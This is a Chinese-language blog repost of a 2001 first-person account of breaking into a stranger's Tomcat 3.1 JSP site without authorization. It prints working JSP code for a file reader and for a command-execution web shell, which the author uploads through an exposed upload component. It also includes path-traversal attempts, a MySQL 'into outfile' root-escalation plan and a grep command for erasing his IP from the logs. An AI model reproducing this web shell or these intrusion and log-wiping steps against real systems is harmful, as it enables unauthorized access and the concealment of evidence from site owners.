本文描述了如何通過WEB入侵獲得freebsd 4.0的root權(quán)限。
文章主要以教育為目的,希望各位觀者不要使用本文中的一些方法及程序,危害網(wǎng)絡(luò)的安全。
作者:lovehacker
聯(lián)系方式:lovehacker@263.net
網(wǎng)站地址: http://www.chinansl.com
版權(quán)屬安盟信息科技有限責(zé)任公司所有,允許轉(zhuǎn)載,但需保持文章的完整性。
很偶然的一個(gè)機(jī)會(huì),看到了一個(gè)網(wǎng)站,頁面清新,很舒服的感覺。網(wǎng)站是用JSP開發(fā)的,由于個(gè)人愛好,所以我決定看看系統(tǒng)的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的結(jié)果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404
<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
我獲得了運(yùn)行的WEBServer的名稱"Tomcat 3.1"。我記得我曾經(jīng)發(fā)現(xiàn)過這個(gè)版本的漏洞,并且post到bugtrap上去過。
大概是:通過".."技術(shù)可以退出WEB目錄,于是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.JSP %81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.JSP %2581 (不行)
http://target:8080/WEB-INF/ (不行)
嗯,在試試吧!Tomcat 3.1自帶了一個(gè)管理工具,可以查看WEB下的目錄及文件,并且可以添加context.試一下: http://target:8080/admin/
管理員果然沒有刪除或禁止訪問這個(gè)目錄:-(失誤!!!!!
接著我點(diǎn)"VIEW ALL CONTEXT"按鈕,列出了WEB目錄下的一些文件和目錄的名稱,我開始仔細(xì)的看了起來,一小會(huì)兒,發(fā)現(xiàn)了一個(gè)上傳文件的組件,嘿嘿,寫一個(gè)jsp文件弄上去看看。
幾口咖啡的時(shí)間,我寫了這么一個(gè)東東出來:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
通過上傳的組件將這個(gè)jsp上傳到對(duì)方的WEB目錄里,然后:
http://target:8080/upload/test.jsp?file=/etc/passwd
嘿嘿,密碼出來啦。我只看了"/etc/passwd",并沒有看"/etc/shadow",因?yàn)楫?dāng)時(shí)考慮webserver一般使用nobody的身份啟動(dòng)的,看了也白看。(失誤)
接下來的過程是無聊的猜測(cè)密碼,沒有成功。算了,那我只有將就點(diǎn),反正現(xiàn)在我相當(dāng)于有了一個(gè)shell了嘛,猜不出密碼上去,那就全當(dāng)IE是我的SHELL環(huán)境吧!
再寫:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
然后把這個(gè)jsp又通過upload上傳了上去,嘿嘿,我現(xiàn)在有個(gè)SHELL了。
http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(我這里就不列出來了)
怎么獲得root呢?經(jīng)過一番搜索我發(fā)現(xiàn)了系統(tǒng)安裝了mysql并且我從jsp的源代碼中得到了mysql的密碼:)看看是什么權(quán)限運(yùn)行的mysql:
http://target:8080/upload/cmd.jsp?cmd=ps+aux +|grep+mysqld
顯示:
root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql
嘿嘿,有辦法了,系統(tǒng)是以root身份運(yùn)行的mysql,同時(shí)我知道了mysql的密碼,那我現(xiàn)在我可以寫一個(gè)shell程序,讓它c(diǎn)reate一個(gè)表,然后將我的數(shù)據(jù)放到表中,然后再使用"select ... into outfile;"的辦法在系統(tǒng)上創(chuàng)建一個(gè)文件,讓用戶在執(zhí)行su的時(shí)候,運(yùn)行我的程序。(還記得apache.org有一次被入侵嗎?hacker就采用的這種辦法)。
然后,我再上傳bindshell之類的程序,運(yùn)行、獲得nobody的權(quán)限,然后......再使用su root時(shí)幫忙創(chuàng)建的setuid shell讓自己成為root.
嘿嘿,真是好辦法,我都為我的想法感到得意......
接下去的事情,差點(diǎn)沒讓我吐血:
我敲了一個(gè): http://target:8080/upload/cmd.jsp?cmd=id
顯示:
uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)
kao,我的這個(gè)WEB SHELL本來就是ROOT,真是服了那個(gè)管理員,也服了自己。竟然折騰了這么半天,哎!
http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份運(yùn)行的(不列出來了)
剩下來的事情:
1、刪除我的telnet記錄。
2、刪除http的日志。
至于清除日志嘛,我使用的辦法是:cat xxx |grep -V "IP" >>temp然后在把temp覆蓋那些被我修改過的日志文件。
我沒有更換他的頁面,因?yàn)槲冶旧硪簿筒皇鞘裁春诳屠玻皇羌t客,只是個(gè)網(wǎng)絡(luò)安全愛好者而已。所以,發(fā)封郵件告訴system admin吧!
當(dāng)然,我順便在信中提到,如果需要安盟信息科技為他提供安全服務(wù)的話,我們會(huì)非常的高興!
posted on 2007-06-19 00:51
聶文龍 閱讀(565)
評(píng)論(0) 編輯 收藏 引用 所屬分類:
some hack imformation